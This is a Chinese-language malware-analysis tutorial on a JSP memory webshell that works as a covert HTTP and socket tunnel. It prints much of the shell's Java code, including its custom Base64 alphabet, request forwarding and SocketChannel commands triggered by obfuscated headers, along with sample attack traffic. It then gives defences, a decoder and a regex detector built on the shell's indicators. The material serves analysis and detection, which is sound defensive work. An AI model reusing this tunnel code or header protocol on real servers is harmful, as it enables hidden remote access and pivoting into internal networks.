从零开始的内存马分析——如何骑马反杀(三)
字数 1234 2025-08-06 20:12:46
内存马分析与防御实战教程
0x00 概述
本教程详细分析了一种基于JSP的复杂内存马实现,涵盖了其工作原理、代码分析、流量特征以及防御方法。该内存马具有代理转发、Socket连接、自定义加密等高级功能,能够绕过常规安全检测。
0x01 内存马核心功能分析
1.1 基础功能模块
1.1.1 自定义Base64编解码
内存马实现了自定义的Base64编解码算法,使用非标准字符集:
private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();
private static byte[] de = new byte[] {-1,-1,-1,...,16,-1,...,28,-1,-1,-1,-1,-1};
// 编码函数
public static String b64en(byte[] data) {
// 实现细节...
}
// 解码函数
public static byte[] b64de(String str) {
// 实现细节...
}
1.1.2 请求头处理
static String headerkey(String str) throws Exception {
String out = "";
for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
}
return out.substring(0, out.length() - 1);
}
1.1.3 本地IP检测
boolean islocal(String url) throws Exception {
String ip = (new URL(url)).getHost();
Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration<InetAddress> addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement();
if (addr instanceof Inet4Address)
if (addr.getHostAddress().equals(ip))
return true;
}
}
return false;
}
1.2 核心功能实现
1.2.1 HTTP请求转发功能
String rUrl = request.getHeader("Mueytrthxaatjpsb");
if (rUrl != null) {
rUrl = new String(b64de(rUrl));
if (!islocal(rUrl)){
// 设置HTTP连接
HttpURLConnection conn = (HttpURLConnection) new URL(rUrl).openConnection();
conn.setRequestMethod(request.getMethod());
conn.setDoOutput(true);
// 复制请求头
Enumeration enu = request.getHeaderNames();
List<String> keys = Collections.list(enu);
Collections.reverse(keys);
for (String key : keys){
if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){
conn.setRequestProperty(headerkey(key), request.getHeader(key));
}
}
// 转发请求体
if (request.getContentLength() != -1){
OutputStream output = conn.getOutputStream();
ServletInputStream inputStream = request.getInputStream();
// 数据转发...
}
// 返回响应
InputStream hin = conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST ?
conn.getInputStream() : conn.getErrorStream();
// 处理响应...
}
}
1.2.2 Socket通道管理
内存马实现了完整的Socket通道管理功能:
// 1. 创建Socket通道
if (cmd.compareTo("b5v9XJbF") == 0) {
String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");
String target = target_ary[0];
int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
}
// 2. 关闭Socket通道
else if (cmd.compareTo("0FX") == 0) {
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
socketChannel.socket().close();
application.removeAttribute(mark);
}
// 3. 从Socket读取数据
else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
// 处理读取的数据...
}
// 4. 向Socket写入数据
else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
String inputData = "";
InputStream in = request.getInputStream();
// 读取请求体...
byte[] base64 = b64de(inputData);
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
buf.flip();
while(buf.hasRemaining())
socketChannel.write(buf);
}
0x02 流量特征分析
2.1 请求头特征
内存马通过特定的请求头触发不同功能:
- 代理转发功能:
Mueytrthxaatjpsb头 - Socket管理功能:
Ffydhndmhhl头- 前22字符为标记(mark)
- 后续为命令类型
- 目标地址:
Nnpo头(Base64编码)
2.2 响应头特征
- 成功响应:
Sbxspawzq: CapFLueBCn2ZM - 失败响应:
Sbxspawzq: G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAaDie: k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO
2.3 典型流量示例
2.3.1 创建Socket连接
GET /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
Ffydhndmhhl: JXHbGv6CTBayDJp1IL4lHwb5v9XJbF
Nnpo: n7n7wqF8frH3wqtDduKB1C==
2.3.2 Socket数据读取
GET /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
2.3.3 Socket数据写入
POST /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Content-Length: 224
CszCCCkCCCCCCCtvC+gEECgEC+gUC+gg9UHY9KgtXaUllg8Zlgl95a2c+aKEEKn3dq/Vd7nVCCgyXLUllg8ZaUFyH3FE5lSc5+glUaH0YrUvYuQR1JQW15MjQXMR5rU4dRCEXCiEllHQuL3E+L8F5oaEXKSgHltwlgS+w5nO+oB3aaKCC+RQ+lla9US+9a+EEC+i1J1LCCgQ0gUllg8ZaL2gC+gE1+C=
0x03 防御与检测方法
3.1 防御措施
-
输入验证:
- 对所有HTTP请求头进行严格验证
- 拦截包含可疑头部的请求(Mueytrthxaatjpsb, Ffydhndmhhl, Nnpo等)
-
代码审计:
- 检查JSP文件中是否包含可疑的Java网络编程代码
- 特别关注SocketChannel、HttpURLConnection等类的使用
-
运行时防护:
- 监控应用程序中创建的Socket连接
- 限制Web应用程序的网络访问权限
3.2 检测方法
-
静态检测:
- 扫描JSP文件中的恶意代码特征
- 检查自定义的Base64编码表
-
动态检测:
- 监控异常的HTTP响应头(Sbxspawzq, Die等)
- 检测Web应用与非常规端口的连接(如1521 Oracle端口)
-
流量分析:
- 识别特定的Base64编码模式
- 检测包含特定头的HTTP请求
0x04 相关工具实现
4.1 解密工具实现
public class MemoryShellDecoder {
private static byte[] de = new byte[] {-1,-1,-1,...,28,-1,-1,-1,-1,-1};
public static byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
// 解码实现...
return buf.toByteArray();
}
public static void main(String[] args) throws Exception {
String encoded = "CszCCCkCCCCCCCtvC+gEECgEC+gUC+gg9UHY9KgtXaUllg8Zlgl95a2c+aKEEKn3dq/Vd7nVCCgyXLUllg8ZaUFyH3FE5lSc5+glUaH0YrUvYuQR1JQW15MjQXMR5rU4dRCEXCiEllHQuL3E+L8F5oaEXKSgHltwlgS+w5nO+oB3aaKCC+RQ+lla9US+9a+EEC+i1J1LCCgQ0gUllg8ZaL2gC+gE1+C=";
byte[] decoded = b64de(encoded);
System.out.println(new String(decoded, "UTF-8"));
}
}
4.2 检测脚本示例
import re
def detect_memory_shell(jsp_content):
indicators = [
r"Mueytrthxaatjpsb",
r"Ffydhndmhhl",
r"SocketChannel\.open",
r"b64de\(",
r"CE0XgUOIQFsw1tcy\+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW"
]
for indicator in indicators:
if re.search(indicator, jsp_content):
return True
return False
0x05 总结
本教程详细分析了一种高级JSP内存马的实现原理和工作方式,该内存马具有以下特点:
- 使用自定义Base64编码绕过检测
- 通过HTTP头控制多种功能
- 实现完整的Socket代理功能
- 能够与数据库(如Oracle)进行交互
- 具有良好的隐蔽性和反检测能力
防御此类内存马需要结合静态代码分析、动态行为监控和网络流量检测等多种手段,建立全面的防护体系。